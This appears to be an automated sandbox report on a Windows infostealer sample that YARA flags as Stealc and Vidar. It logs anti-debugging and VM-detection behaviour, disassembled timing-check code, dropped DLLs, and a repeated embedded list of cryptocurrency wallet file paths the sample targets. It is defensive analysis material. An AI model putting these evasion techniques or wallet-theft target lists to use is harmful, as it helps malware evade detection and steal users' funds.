Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500092B second address: 500097F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3174D2360Dh 0x00000012 sub ax, 2316h 0x00000017 jmp 00007F3174D23611h 0x0000001c popfd 0x0000001d call 00007F3174D23610h 0x00000022 pushad 0x00000023 popad 0x00000024 pop ecx 0x00000025 popad 0x00000026 mov al, byte ptr [edi+01h] 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F3174D2360Ah 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500097F second address: 5000A32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F31753CFFCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edi 0x0000000a jmp 00007F31753CFFD6h 0x0000000f test al, al 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F31753CFFCEh 0x00000018 add ax, 93F8h 0x0000001d jmp 00007F31753CFFCBh 0x00000022 popfd 0x00000023 mov ah, 65h 0x00000025 popad 0x00000026 jne 00007F31E5CE807Ah 0x0000002c pushad 0x0000002d mov ax, dx 0x00000030 mov ax, dx 0x00000033 popad 0x00000034 mov ecx, edx 0x00000036 jmp 00007F31753CFFCFh 0x0000003b shr ecx, 02h 0x0000003e pushad 0x0000003f pushad 0x00000040 mov bx, si 0x00000043 jmp 00007F31753CFFCEh 0x00000048 popad 0x00000049 call 00007F31753CFFD2h 0x0000004e push ecx 0x0000004f pop edx 0x00000050 pop ecx 0x00000051 popad 0x00000052 rep movsd 0x00000054 rep movsd 0x00000056 rep movsd 0x00000058 rep movsd 0x0000005a rep movsd 0x0000005c pushad 0x0000005d jmp 00007F31753CFFD3h 0x00000062 push eax 0x00000063 push edx 0x00000064 movzx ecx, bx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A32 second address: 5000A80 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3174D2360Bh 0x00000008 or ax, 2FDEh 0x0000000d jmp 00007F3174D23619h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ecx, edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b call 00007F3174D23613h 0x00000020 pop esi 0x00000021 mov dx, 751Ch 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000A80 second address: 5000AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ecx, 080943DDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d and ecx, 03h 0x00000010 jmp 00007F31753CFFD8h 0x00000015 rep movsb 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F31753CFFD7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000AC3 second address: 5000B02 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D23619h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007F3174D23616h 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B02 second address: 5000B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F31753CFFD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B1D second address: 5000B91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3174D2360Bh 0x00000011 add si, 4CCEh 0x00000016 jmp 00007F3174D23619h 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F3174D23610h 0x00000022 sub eax, 1321E548h 0x00000028 jmp 00007F3174D2360Bh 0x0000002d popfd 0x0000002e popad 0x0000002f mov ecx, dword ptr [ebp-10h] 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F3174D23615h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000B91 second address: 5000BE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F31753CFFD7h 0x00000009 or ah, FFFFFFEEh 0x0000000c jmp 00007F31753CFFD9h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr fs:[00000000h], ecx 0x0000001e pushad 0x0000001f mov dx, si 0x00000022 mov eax, 2CA4F105h 0x00000027 popad 0x00000028 pop ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BE6 second address: 5000BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000BEA second address: 5000BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000F3F second address: 5000F52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3174D2360Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10BDC8E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 10BDBD0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 12ECA9E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\chrome.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 408	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5748	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2276	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5756	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2788	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2556	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2076	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5BC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5BC930

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2518903352.000000000123F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: chrome.exe, 00000002.00000002.2334754782.00007AA400AC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: chrome.exe, 00000002.00000002.2312778435.00007AA40060C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: chrome.exe, 00000002.00000002.2332066616.00007AA400A0C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=cb4d51ef-3687-45ff-90cc-47360f294502
Source: file.exe, 00000000.00000002.2541883824.00000000237F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.2541883824.00000000237F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2516211934.0000000000BB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: msedge.exe, 00000007.00000003.2255966516.0000085400394000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: file.exe, 00000000.00000002.2541883824.00000000237F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarefpn
Source: file.exe, 00000000.00000002.2518903352.000000000123F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2541883824.00000000237F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: chrome.exe, 00000002.00000002.2243375079.0000025C381AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_p9
Source: chrome.exe, 00000002.00000002.2242368770.0000025C345FE000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2324865228.000001BBB6044000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C605FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C605FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C60C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5DB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5DB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR

Source: file.exe	Binary or memory string: FjProgram Manager
Source: file.exe, 00000000.00000002.2518903352.000000000123F000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: jProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DB341 cpuid

0_2_6C5DB341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5A35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5A35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2517335011.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2053623666.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2516211934.0000000000B6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1996, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2517335011.0000000000EB6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
